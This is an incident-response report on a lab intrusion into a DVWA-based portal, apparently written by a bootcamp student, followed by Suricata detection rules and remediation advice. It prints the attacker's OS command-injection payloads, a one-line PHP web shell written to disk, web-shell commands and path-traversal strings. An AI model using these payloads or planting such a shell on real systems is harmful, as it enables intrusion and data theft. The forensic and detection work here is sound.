

Incident Response Engagement Findings & Detection Report

Mission 05 - OS Command Injection & Web Shell Pivot

CLIENT

NexaCorp Industries

Employee self-service portal intrusion investigation

Engagement reference INC-2026-005 (host bru-web-01)

Phase 1: forensic analysis · Phase 2: Suricata detection

Prepared by

Johan-Emmanuel Hatchi

BeCode Cybersecurity Bootcamp - Promotion 2025-2026

linkedin.com/in/johan-emmanuel-hatchi · github.com/Jhatchi

Date: 12 June 2026

Table of Contents

CONFIDENTIALITY STATEMENT	3
DISCLAIMER	3
EXECUTIVE SUMMARY	4
A. Introduction	4
B. Scope	4
C. Engagement summary	4
D. Overview of findings	4
E. Overview of recommendations	5
METHODOLOGY	6
A. Procedure	6
B. Severity ratings	6
INCIDENT TIMELINE	7
TECHNICAL ANALYSIS	8
3.1 Attack surface	8
3.2 Attacker identification	8
3.3 Command injection (ping tool)	9
3.4 Local File Inclusion (file viewer)	10
3.5 Data actually exposed	11
4.1 Persistence artifact	12
4.2 Pivot account	12
INDICATORS OF COMPROMISE	13
DETECTION RECOMMENDATIONS (SURICATA)	14
REMEDIATION RECOMMENDATIONS	17
RISK MATRIX	18
MITRE ATT&CK MAPPING	19
TOOLS AND STANDARDS	20
A. Tools used	20
B. Standards and frameworks followed	20
GLOSSARY AND ACRONYMS	21

Confidentiality Statement

This report documents **Mission 05** of the BeCode Corp internal cybersecurity training programme. The engagement investigated a successful intrusion against a controlled laboratory environment simulating the employee self-service portal of the fictitious organisation *NexaCorp Industries*. The target host `bru-web-01` ran a deliberately vulnerable web application (DVWA) deployed in the BeCode SOC lab under reference BCC-2026.

No real production system, customer data, or third-party infrastructure was targeted, accessed, or affected by this engagement. All IP addresses, hostnames, and accounts referenced in this report belong to the BeCode training environment and have no production analogue.

This document is classified as **Internal - Not for distribution** under reference **BCC-2026 | INC-2026-005**. It is intended for the BeCode Corp training coordination team, the assigned mentors, and the auditor. Any redistribution outside this scope requires explicit authorization.

Subject to the above, the auditor retains the right to share this report as part of professional portfolios, certification evidence, and job applications, in line with the BeCode Corp policy on training deliverables.

Disclaimer

The findings and recommendations in this report are based on a specific evidence package captured from the BeCode SOC lab on **Friday 5 June 2026**. The reported activity falls within a capture window of approximately 10 hours (08:00 to 15:47 local time, UTC+02:00). The evidence package comprises the web server access log (`web_access.log`), the host authentication log (`auth.log`), and a full network packet capture (`attack.pcap`) used for TCP stream reconstruction and offline detection-rule validation.

This is a forensic engagement: severities are not CVSS-computed. Each finding is rated on the basis of demonstrated operational impact and its MITRE ATT&CK technique category, as described in the Methodology section. Where a value could not be confirmed from the evidence, it is marked **N/A** rather than inferred.

This engagement applies the methodology recommended by **NIST SP 800-61r2** (Computer Security Incident Handling Guide) and the **SANS PICERL** incident response process. The host `bru-web-01` is the same system covered by INC-2026-004 (SQL injection); the two incidents are related but documented separately.

Executive Summary

A. Introduction

The bru-web-01 employee portal suffered a successful intrusion on Friday 5 June 2026, across a capture window of roughly 10 hours. An external attacker at 172.16.50.10 exploited the portal's diagnostic-tools page (the "ping a device" function) to run operating-system commands directly on the server, a vulnerability class known as OS command injection. The attacker confirmed code execution under the web server account (www-data), retrieved the contents of the system accounts file (/etc/passwd), and dropped a hidden program (a web shell) that guaranteed repeated access to the server.

A neighbouring portal function (the file viewer) was also probed, but every one of those attempts failed: the actual data leak occurred through command injection, not through the file viewer. After taking control through the web shell, the attacker logged into the server over SSH using the valid credentials of an employee (j.martin), obtaining persistent interactive access.

The root cause is an unfiltered input field that passes user-supplied data straight to the operating system. Five detection rules were developed and validated to identify each step of this attack pattern in the future. Priority remediation actions are listed in the Remediation Recommendations section.

B. Scope

The engagement scope was the single host bru-web-01 (NexaCorp employee self-service portal) and the evidence captured on 5 June 2026. Phase 1 reconstructed the intrusion end to end from the access log, the authentication log, and the packet capture. Phase 2 produced and validated a set of Suricata detection rules against the same capture. No active exploitation was performed against the target by the analyst; all attacker actions described here are reconstructed from captured evidence.

C. Engagement summary

The attacker authenticated to the portal, then issued seven POST requests against the vulnerable ping tool, chaining OS commands after a benign ip=127.0.0.1 value using the shell separator ;. These commands confirmed the execution context (id, whoami), read /etc/passwd, enumerated the web root, fingerprinted the kernel, and finally wrote a web shell to disk. The attacker then used the web shell over HTTP GET (/shell.php?cmd=...) to run further commands, and pivoted to an authenticated SSH session as j.martin. In parallel, five Local File Inclusion attempts against the file viewer all failed, returning an identical default-error response: no data was exposed through that channel.

D. Overview of findings

Four findings summarise the intrusion. They are referenced as F1 to F4 in the Risk Matrix and MITRE ATT&CK Mapping; the full narrative for each is in the Technical Analysis section indicated below.

Ref	Description	Section	Severity
F1	OS command injection on the ping tool: confirmed RCE as www-data and exfiltration of /etc/passwd in the response	3.3	CRITICAL
F2	Web shell /shell.php dropped on disk for repeatable command execution (persistence)	4.1	HIGH

F3	Local File Inclusion attempts on the file viewer: all four traversals failed, no data exposed	3.4	MEDIUM
F4	Valid SSH access as j.martin from the attacker IP: persistent interactive foothold (pivot)	4.2	CRITICAL

Distribution: 2 Critical, 1 High, 1 Medium. F2 (web shell) is rated High rather than Critical: it is a direct consequence of F1, executes only in the limited www-data context, and is trivially remediated by removing the file and scanning the web root.

E. Overview of recommendations

Five prioritised actions are detailed in the Remediation Recommendations section: immediate containment (remove the web shell, scan the web root, block the attacker IP), rotation of the compromised j.martin credential, fixing the root cause (never pass user input to a shell), deploying the five Suricata detection rules, and broader hardening (least privilege for www-data, network segmentation, a full application code review of bru-web-01).

Methodology

A. Procedure

The investigation followed the **SANS PICERL** incident response process (Preparation, Identification, Containment, Eradication, Recovery, Lessons learned) and the investigative methodology of **NIST SP 800-61r2**. Evidence handling and reconstruction techniques follow **NIST SP 800-86** (Integrating Forensic Techniques into Incident Response).

Phase 1 (Identification and analysis) reconstructed the intrusion from three independent sources: the web server access log for request-level chronology, the host authentication log for the SSH pivot, and the full packet capture for payload-level confirmation via TCP follow-stream reconstruction. Phase 2 (Lessons learned, detection engineering) authored Suricata rules covering each distinct step of the kill chain and validated them against the capture in deterministic offline mode (`suricata -r`).

All timestamps in this report are taken from `web_access.log` and `auth.log` (the real request time). SIEM indexing timestamps are not used for the chronology. Where the captured evidence does not support a value, that value is reported as **N/A** rather than estimated.

B. Severity ratings

This is a forensic engagement and no CVSS base score was computed; CVSS fields are reported as **N/A**. Each finding's severity is derived from two anchored factors: the **demonstrated operational impact** observed in the evidence (for example, confirmed remote code execution, real data exfiltration, or a persistent interactive foothold), and the **MITRE ATT&CK technique category** of the activity. This is the same derivation method used across the INC-2026 report series, ensuring comparable ratings between incidents.

Severity	CVSS range	Description
CRITICAL	9.0 - 10.0	Exploitation is straightforward and usually results in root-level compromise or complete data exfiltration.
HIGH	7.0 - 8.9	Vulnerability can be exploited easily, resulting in elevated privileges, significant data loss, or service disruption.
MEDIUM	4.0 - 6.9	Exploitation usually requires manipulating individuals via social engineering, specific conditions, or limited access.
LOW	0.1 - 3.9	Vulnerabilities exist but have limited impact and require local or physical system access.
INFORMATIONAL	0	No active vulnerability. Additional information regarding observations, strong controls, or hardening opportunities.

The CVSS ranges above are shown for reference only. In this report, severity is assigned by impact and technique category, not by a computed CVSS vector.

Incident Timeline

Methodology note: all timestamps are taken from web_access.log and auth.log (the real request time). Wazuh / SIEM timestamps reflect indexing time and are not used for this chronology.

Time (Jun 5, 2026)	Source IP	Event	Evidence
08:00:02	172.16.50.10	Portal authentication (login.php, index.php) via curl	web_access.log
11:11:59	172.16.50.10	First malicious request: first POST against the ping tool (command injection)	web_access.log
11:53:30	172.16.50.10	POST exec: second command	web_access.log
12:10:20	172.16.50.10	POST exec: third command	web_access.log
12:47:59	172.16.50.10	LFI baseline: ?page=include.php (response 5510)	web_access.log
12:57:24	172.16.50.10	LFI: ?page=../../../../etc/passwd (response 3868: failed)	web_access.log
13:35:17	172.16.50.10	POST exec	web_access.log
13:49:04	172.16.50.10	LFI: ?page=../../../../etc/os-release (3868: failed)	web_access.log
14:15:47	172.16.50.10	POST exec	web_access.log
14:25:00	172.16.50.10	LFI: ?page=../../../../var/log/apache2/access.log (3868: failed)	web_access.log
14:54:21	172.16.50.10	POST exec	web_access.log
15:13:46	172.16.50.10	LFI: ?page=../../../../var/www/html/dwaa/config/config.inc.php (3868: failed)	web_access.log
15:34:04	172.16.50.10	POST exec: probable drop of the web shell shell.php	web_access.log
15:35:40	172.16.50.10	Web shell usage: GET /shell.php?cmd=id (RCE confirmed)	web_access.log + pcap stream 3066
15:37:23	172.16.50.10	GET /shell.php?cmd=ls -la /var/www/html/	web_access.log + pcap stream 3076
15:47:15	172.16.50.10	SSH Accepted password for j.martin (successful pivot, x3)	auth.log

Technical Analysis

3.1 Attack surface

The bru-web-01 portal exposes a "diagnostic tools" section that includes a **ping tool** (sends ICMP packets and displays the result) and a **file viewer** (reads system documents). Both pass user input to the operating system without sanitisation. The two attack vectors are **OS command injection** (ping tool) and **Local File Inclusion** (file viewer).

3.2 Attacker identification

Attacker IP: 172.16.50.10

The attacker shares the 172.16.50.0/24 subnet with background internet-noise scanners (172.16.50.20-26), which rules out filtering by a simple IP range. The distinction is made on the **request pattern**: this source issued the lowest request volume of the subnet (18 requests), but those requests target precise, exploitable endpoints, whereas the scanners emit generic, untargeted noise.

The attacker's 18 requests fall into three zones that together form the complete kill chain:

Requests	Endpoint	Interpretation
7 POST	/dvwa/vulnerabilities/exec/	Ping tool: OS command injection
5 GET	/dvwa/vulnerabilities/fi/?page=...	File viewer: LFI attempts
2 GET	/shell.php?cmd=...	Web shell dropped: confirmed RCE and persistence
4 GET	/dvwa/login.php, /dvwa/index.php	Authenticated portal access

3.3 Command injection (ping tool)

URL path: /dvwa/vulnerabilities/exec/ (POST method)

Seven POST requests hit the ping tool between 11:11:59 and 15:34:04. The payload is not visible in the access log (it sits in the POST body), but two elements confirm exploitation. First, the response sizes are abnormal and variable (5245, 5299, 5254, 6735, 5479, 5347, 5245) where a normal ping would return a stable size; the variation shows the server returning the output of different commands. Second, after the POST at 15:34:04 the attacker accesses /shell.php?cmd=... , a file that does not exist in a standard DVWA install: the last exec POST therefore wrote that shell to disk.

Running as who: www-data

The PCAP follow-stream (stream 3066) on GET /shell.php?cmd=id returns the server response:

```
HTTP/1.1 200 OK
Server: Apache/2.4.67 (Debian)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

The attacker runs OS commands under the **www-data** account (the Apache user). RCE is confirmed. The second command through the shell, `ls -la /var/www/html/` (stream 3076), enumerates the web root.

OS commands injected (in order, reconstructed by follow-stream of the seven POST /exec/ requests):

Stream	Decoded payload (POST body)	Objective
1269	ip=127.0.0.1	Benign baseline (legitimate ping, vector validation)
1572	ip=127.0.0.1;id	Process identity (uid=33(www-data))
1683	ip=127.0.0.1;whoami	User confirmation
2251	ip=127.0.0.1;cat /etc/passwd	Read the system accounts file (real leak)
2522	ip=127.0.0.1;ls -la /var/www/html/	Web root enumeration
2783	ip=127.0.0.1;uname -a	Kernel / OS fingerprint
3054	ip=127.0.0.1;echo '<?php system(\$_GET["cmd"]); ?>' > /var/www/html/shell.php	Web shell drop

The separator `;` (URL-encoded %3B) chains the injected command after the legitimate `ip=127.0.0.1`. The stream 2251 payload is the confirmed source of the `/etc/passwd` leak: the server response contains in cleartext the line `root:x:0:0:root:/root:/bin/bash` and all local accounts, including `j.martin:x:1001:1001`. Stream 3054 is the POST that writes the web shell to disk, preceding its two GET uses.

Commands confirmed through the deployed web shell: `id` (stream 3066, response `uid=33(www-data) gid=33(www-data) groups=33(www-data)`) and `ls -la /var/www/html/` (stream 3076).

3.4 Local File Inclusion (file viewer): the decoy

URL path and parameter: /dvwa/vulnerabilities/fi/?page=

Five GET requests were observed, each once:

Page requested	Type
include.php	Baseline (legitimate viewer file)
../../../../etc/passwd	Traversal: system accounts
../../../../etc/os-release	Traversal: OS version
../../../../var/www/html/dvwa/config/config.inc.php	Traversal: DVWA DB config
../../../../var/log/apache2/access.log	Traversal: Apache log (log-poisoning attempt?)

Verdict: the LFI failed. The response sizes prove it:

Page requested	Response size
include.php (baseline)	5510
../../../../etc/passwd	3868
../../../../etc/os-release	3868
../../../../var/log/apache2/access.log	3868
../../../../var/www/html/dvwa/config/config.inc.php	3868

All four traversals return exactly **3868 bytes**, identical to each other and different from the baseline (5510). The file viewer served its default / error page on every attempt, never including the requested file's content.

No data leaked through this channel. The real leak of /etc/passwd and other system information came from the command injection on the ping tool, not from the file viewer.

3.5 Data actually exposed

Leak channel: command injection, exclusively.

Data	Channel	Status
id / www-data identity	Command injection (shell.php)	Exposed
Web root contents (ls /var/www/html/)	Command injection (shell.php)	Exposed
/etc/passwd, /etc/os-release, DVWA config, Apache log	File viewer (LFI)	NOT exposed (LFI failed, 3868 responses)

The file viewer (LFI) was exercised but disclosed nothing (default page every time, identical 3868-byte responses). All system information the attacker actually obtained passed through the command injection and the web shell. The j.martin account later reused over SSH appears in the output of `cat /etc/passwd` (stream 2251), confirming the attacker knew the account existed before the pivot. The password itself is not visible in `/etc/passwd` (the x field, with the hash held in `/etc/shadow`), so the credential was either guessed, obtained by another means not visible in the PCAP, or already known to the attacker.

4.1 Persistence artifact

Persistence artifact: /shell.php

The access log shows two GET requests against /shell.php carrying a cmd parameter: /shell.php?cmd=id and /shell.php?cmd=ls -la /var/www/html/ (encoded ls+-la+%2Fvar%2Fwww%2Fhtml%2F). /shell.php does not exist in a standard DVWA installation: this file was created by the attacker. A cmd parameter executed over GET confirms a functional web shell, the direct proof of RCE and persistence.

POST that wrote the shell (confirmed): stream 3054, body:

```
ip=127.0.0.1;echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php
```

This POST precedes the two GET uses of the shell (15:35:40 and 15:37:23 in the access log). The order, deployment (POST, command injection) then usage (GET, /shell.php?cmd=), is the exact distinction tested by the Phase 2 web-shell write and usage detection rules. The response to the first use (?cmd=id, stream 3066) contains the command output (uid=33(www-data)...), confirming the shell executes code rather than returning an error page.

4.2 Pivot account

Pivot account: j.martin

The authentication log shows a successful SSH login from the attacker IP:

```
2026-06-05T15:47:15 bru-web-01 sshd[13158]: Accepted password for j.martin from 172.16.50.10 port 44061 ssh2
2026-06-05T15:47:17 bru-web-01 sshd[13185]: Accepted password for j.martin from 172.16.50.10 port 41461 ssh2
2026-06-05T15:47:20 bru-web-01 sshd[13195]: Accepted password for j.martin from 172.16.50.10 port 60839 ssh2
```

Key points: the events are **Accepted**, not Failed, so the attacker holds a valid SSH credential for j.martin. The source 172.16.50.10 is the same IP as all the web activity, a direct correlation. The timing (15:47) is roughly 10 minutes after the web shell usage (15:37); the password was most likely recovered via the command injection, not via the LFI, which failed. The three short successive connections (Accepted then immediate disconnect) are consistent with a credential-validity test or automation.

This authenticated SSH access on bru-web-01 is the major consequence of the incident: the attacker now holds a persistent interactive foothold, independent of the web shell.

Indicators of Compromise

Indicators consolidated from web_access.log, auth.log, and the PCAP analysis:

Type	Value
Attacker IP	172.16.50.10
Command injection endpoint	/dvwa/vulnerabilities/exec/ (POST)
LFI endpoint	/dvwa/vulnerabilities/fi/?page= (GET)
Web shell endpoint	/shell.php?cmd= (GET)
Payload pattern (command injection)	POST to /exec/ ; web shell /shell.php?cmd= ; commands id, ls
Payload pattern (LFI)	?page=../../../../etc/passwd (and os-release, config.inc.php, access.log)
Persistence artifact	/shell.php
Pivot account	j.martin (SSH Accepted from 172.16.50.10 at 15:47)

Detection Recommendations (Suricata)

Five rules were developed, one per distinct step of the kill chain, and validated against the PCAP in offline mode (suricata -r, deterministic TCP reassembly). Each rule targets the Suricata buffer suited to its intent: http.request_body (raw, URL-encoded request body) for request-side injection payloads, http.uri (normalised) for web shell usage, and file_data (response body) for response-side detection, which proves successful exploitation rather than a mere attempt.

Ruleset (file /etc/suricata/rules/learner/lab.rules, analyst SID range 1000001-1000005):

```
alert http any any -> any any (msg:"LAB05 sensitive file targeting in command injection body";
flow:established,to_server; http.request_body; content:"etc"; nocase; sid:1000001; rev:4;)
alert http any any -> any any (msg:"LAB05 web shell usage cmd param"; flow:established,to_server;
http.uri; content:"shell.php"; nocase; content:"cmd="; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"LAB05 web shell write via command injection";
flow:established,to_server; http.request_body; content:"shell.php"; nocase; sid:1000003; rev:1;)
alert http any any -> any any (msg:"LAB05 RCE confirmed www-data in response";
flow:established,to_client; file_data; content:"www-data"; sid:1000004; rev:7;)
alert http any any -> any any (msg:"LAB05 data exfil etc-passwd content in response";
flow:established,to_client; file_data; content:"root:x:0:0"; sid:1000005; rev:6;)
```

Per-rule logic

SID	Step detected	Buffer	Match	Alerts (offline)
1000001	System-file targeting in injection	http.request_body	etc in POST body	1
1000002	Web shell usage	http.uri	shell.php + cmd=	2
1000003	Web shell write	http.request_body	shell.php in POST body	1
1000004	RCE confirmed (response side)	file_data	www-data in response	6
1000005	/etc/passwd exfiltration (response side)	file_data	root:x:0:0 in response	1

Proof (fast.log extract, offline PCAP replay)

```

=== PAR SID ===
  1 [1:1000001:4]
  2 [1:1000002:1]
  1 [1:1000003:1]
  6 [1:1000004:7]
  1 [1:1000005:6]

```

All five rules fire. The offline count is deterministic (Suricata reads the PCAP with `-r`, full reassembly without network-timing constraints), unlike the live replay (`tcpreplay`) which, on this infrastructure (interface MTU 1450, topspeed replay), loses reassembly of large multi-segment responses and yields unstable counts between runs. For a forensic report, the offline count is the reliable reference.

Methodology note (count discrepancy): rule 1000002 (web shell usage) produces 2 alerts offline, one per real shell request (`?cmd=id` and `?cmd=ls`, the only requests to `shell.php` in the whole PCAP, confirmed with `tshark`). The CTF platform validated this flag at 4, a discrepancy attributable to TCP retransmissions during its live replay. The forensically exact count is **2**.

False-positive analysis

SID	FP risk	Production mitigation
1000001	content:"etc" is broad: a legitimate POST body containing the word "etc" (abbreviation, free-text field) would fire. Risk is nil here (no normal portal traffic contains "etc"), but it should be tightened in production.	Replace with %2Fetc%2F, or require path context (the ; separator plus /etc/) so it matches only an injected system path.
1000002	Low. The combination shell.php + cmd= in the URI is highly specific to a web shell.	Restrict to GET and the exact path /shell.php once the web root is known.
1000003	Low. shell.php in a POST body is anomalous.	Combine with detection of the injection separator (%3B) to reduce further.
1000004	content:"www-data" matches any response containing that string, including DVWA pages that display the user context. On this PCAP, 6 responses match (command outputs and context pages). In production, legitimate content could mention www-data.	Combine with content:"uid=" (the id output) to match only strict execution proof, which brings the count down to the 2 responses containing uid=33(www-data). A sensitivity / specificity trade-off to arbitrate per context.
1000005	Very low. root:x:0:0 in an HTTP response means an /etc/passwd file leaked in the body: there is no legitimate case where this string appears in a normal web response. Excellent rule, near-zero FP.	None; usable as-is.

Validation workflow used

```
sudo suricata -c /etc/suricata/suricata.yaml -r attack.pcap -l ~/suri-offline \
-S /etc/suricata/rules/learner/lab.rules --runmode single
grep -oE '[1:[0-9]+:[0-9]+\]' ~/suri-offline/fast.log | sort | uniq -c
```


Remediation Recommendations

Five priority actions, in order of urgency:

1. Immediate containment.

Remove the web shell `/var/www/html/shell.php` from the server. Run a full integrity scan of the web root (`/var/www/html/`) to detect any other dropped file. Block the IP `172.16.50.10` at the perimeter (firewall / WAF).

2. Rotate the compromised credential.

Force a password change for `j.martin` and audit every SSH session from `172.16.50.10` (auth.log, last, system journals). Verify that no SSH key or cron job was added under this account.

3. Fix the root cause.

The diagnostic page (ping tool and file viewer) passes user input straight to the OS via `system()`. Either remove these functions if they are not business-critical, or rewrite them so they never pass user input to a shell: use native libraries (an application-level ping, strict allow-list file reads) and validate input against an allow-list, with no shell metacharacter permitted.

4. Deploy detection.

Put the five Suricata rules from the Detection Recommendations section into production, replacing any network variables with values correctly scoped to the protected segment, and tightening rule `1000001` (etc too broad) toward a system-path context. Alert the SOC on any match.

5. Baseline hardening.

Apply least privilege to the `www-data` account (no write access to the web root in production). Segment the web server from the rest of the internal network to limit lateral pivoting. Re-audit `bru-web-01` after INC-2026-004 (SQLi on the same host): two distinct injection vulnerabilities on the same machine within days indicate a need for a full application code review.

Risk Matrix

The following 5x5 risk matrix plots each finding by its demonstrated **Impact** (vertical axis) against its **Likelihood** score (horizontal axis). Findings in the upper-right quadrant (high impact, high likelihood) require the most urgent remediation.

Impact / Likelihood	Very Low (1)	Low (2)	Medium (3)	High (4)	Very High (5)
Very High (5)				F4	F1
High (4)				F2	
Medium (3)			F3		
Low (2)					
Very Low (1)					

Critical Risk	High Risk	Medium Risk	Low Risk
---------------	-----------	-------------	----------

Critical-risk findings (top-right quadrant): F1 and F4. F1 combines maximum impact (confirmed RCE and real data exfiltration) with very high likelihood (unauthenticated-style, network-reachable, no special tooling). F4 is the persistent interactive SSH foothold, the most consequential outcome of the chain. Both must be remediated first.

High-risk finding: F2 (the web shell), a repeatable backdoor but a direct consequence of F1 and trivially removed. **Medium-risk finding: F3** (the LFI attempts), a genuinely vulnerable surface that was probed but exposed no data on this capture.

MITRE ATT&CK Mapping

Each finding is mapped to one or more MITRE ATT&CK Enterprise techniques (v15) to align this assessment with industry-standard threat intelligence and to enable downstream SIEM detection, threat hunting, and exercise planning. Findings F1 to F4 correspond to the sections shown in the executive overview table.

Finding	Tactic	Technique ID	Technique Name
F1	Initial Access	T1190	Exploit Public-Facing Application
F1	Execution	T1059.004	Command and Scripting Interpreter: Unix Shell
F1	Discovery	T1087.001	Account Discovery: Local Account
F1	Collection	T1005	Data from Local System
F1	Discovery	T1082	System Information Discovery
F1	Discovery	T1083	File and Directory Discovery
F2	Persistence	T1505.003	Server Software Component: Web Shell
F3	Initial Access	T1190	Exploit Public-Facing Application
F4	Persistence	T1078.003	Valid Accounts: Local Accounts
F4	Lateral Movement	T1021.004	Remote Services: SSH

Tools and Standards

A. Tools used during the engagement

The following tools were used to investigate, validate, and document the findings in this report. All operations were conducted in a controlled SOC lab environment against captured evidence; no automated offensive toolset was deployed against the target by the analyst.

Category	Tool	Purpose
Network capture analysis	tshark / Wireshark	PCAP triage and TCP follow-stream reconstruction (streams 1269 to 3076)
Detection engineering	Suricata (offline -r)	NIDS rule authoring and deterministic offline validation against the PCAP
	tcpreplay	Live replay comparison (noted as non-deterministic on this lab infrastructure)
Log analysis	grep / sort / uniq	fast.log alert counting by SID; access-log and auth-log filtering
Documentation	VS Code, Markdown	Note-taking, journal, and report drafting

B. Standards and frameworks followed

This engagement was conducted in alignment with internationally recognised incident response and detection engineering frameworks to ensure methodological rigour and comparability with industry baselines.

Standard / Framework	Version	Application in this report
NIST SP 800-61 Rev. 2	2012	Computer Security Incident Handling Guide: investigation methodology
NIST SP 800-86	2006	Integrating Forensic Techniques into Incident Response: evidence handling and reconstruction
SANS PICERL	N/A	Incident response phases (Prep, Identification, Containment, Eradication, Recovery, Lessons)
MITRE ATT&CK Enterprise	v15	Technique mapping for findings and detection rules
CWE-78	v4.x	Improper Neutralisation of Special Elements used in an OS Command (root cause of F1)
CWE-22	v4.x	Improper Limitation of a Pathname to a Restricted Directory / Path Traversal (F3)
OWASP Top 10	A03:2021	Injection (OS command injection and Local File Inclusion)

Glossary and Acronyms

The following table defines the technical acronyms and terms used throughout this report.

Acronym	Full name	Description
Apache	Apache HTTP Server	Web server hosting the DVWA portal on bru-web-01
API	Application Programming Interface	Endpoints exposed for programmatic interaction
C2	Command and Control	Channel through which an attacker remotely controls compromised systems
CTF	Capture The Flag	Training exercise format where objectives are validated as flags
curl	Client URL	Command-line HTTP client; used here by the attacker to drive the portal
CVE	Common Vulnerabilities and Exposures	Public catalogue of disclosed vulnerabilities
CVSS	Common Vulnerability Scoring System	Numerical severity scoring framework (N/A for this forensic engagement)
CWE	Common Weakness Enumeration	Classification of software weaknesses (CWE-78, CWE-22 here)
DVWA	Damn Vulnerable Web Application	Deliberately vulnerable PHP/MySQL app used as the lab target
FP	False Positive	An alert that fires on benign activity
GET	HTTP GET method	Request method used for the web shell and LFI attempts
HIDS	Host-based Intrusion Detection System	Detection running on the monitored host
HTTP	HyperText Transfer Protocol	Application-layer protocol for the web
ICMP	Internet Control Message Protocol	Protocol used by the legitimate ping function
IoC	Indicator of Compromise	Artifact pointing to malicious activity
IDS	Intrusion Detection System	Sensor that alerts on suspicious traffic
LFI	Local File Inclusion	Including a local file via unsanitised input (CWE-22); failed here
MTU	Maximum Transmission Unit	Largest packet size on a network link (1450 on this lab interface)
NIDS	Network Intrusion Detection System	Sensor placed on the network for traffic inspection
NIST	National Institute of Standards and Technology	U.S. agency publishing security standards
OS	Operating System	The host system whose shell received the injected commands
OS command injection	N/A	Passing attacker input to a system shell (CWE-78); the root cause of F1
OWASP	Open Worldwide Application Security Project	Community publishing the Top 10 web risks (A03 Injection)
PCAP	Packet Capture	File format storing captured network traffic (attack.pcap)
PHP	PHP: Hypertext Preprocessor	Server-side language of DVWA and the dropped web shell
PICERL	Prep, Identification, Containment, Eradication, Response, Incident response process	
PoC	Proof of Concept	Demonstration that a vulnerability is exploitable
POST	HTTP POST method	Request method carrying the command injection payloads
RCE	Remote Code Execution	Vulnerability allowing arbitrary code execution remotely; confirmed in F1
RFC1918	Private IPv4 Address Space	10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16
SID	Signature Identifier	Unique numeric ID of a Suricata or Snort rule (1000001 to 1000005)
SIEM	Security Information and Event Management	Log aggregation and correlation platform
SOC	Security Operations Center	Team responsible for security monitoring and response
SQLi	SQL Injection	Injection into a database query; the subject of related incident INC-2026-004
SSH	Secure Shell	Encrypted remote-administration protocol; used for the F4 pivot
TCP	Transmission Control Protocol	Connection-oriented transport-layer protocol
TTPs	Tactics, Techniques and Procedures	Behaviour-level attacker characterisation
tshark	Terminal Wireshark	Command-line packet analyser used for follow-stream reconstruction

UID	User Identifier	Numeric account ID; uid=33 is www-data on Debian
URI	Uniform Resource Identifier	String identifying a resource; the http.uri buffer in Suricata
UTC	Coordinated Universal Time	Time reference; report timeline uses local UTC+02:00
WAF	Web Application Firewall	Filter recommended at the perimeter to block the attacker IP
web shell	N/A	Attacker-planted script giving command execution over the web (/shell.php)
www-data	N/A	Default Apache service account on Debian; the RCE execution context

BeCode Corp.

DFIR / SOC Training

Reference: BCC-2026 | INC-2026-005

Classification: Internal - Not for distribution

Analyst

Johan-Emmanuel Hatchi

BeCode Cybersecurity Bootcamp - Promotion 2025-2026

linkedin.com/in/johan-emmanuel-hatchi

github.com/Jhatchi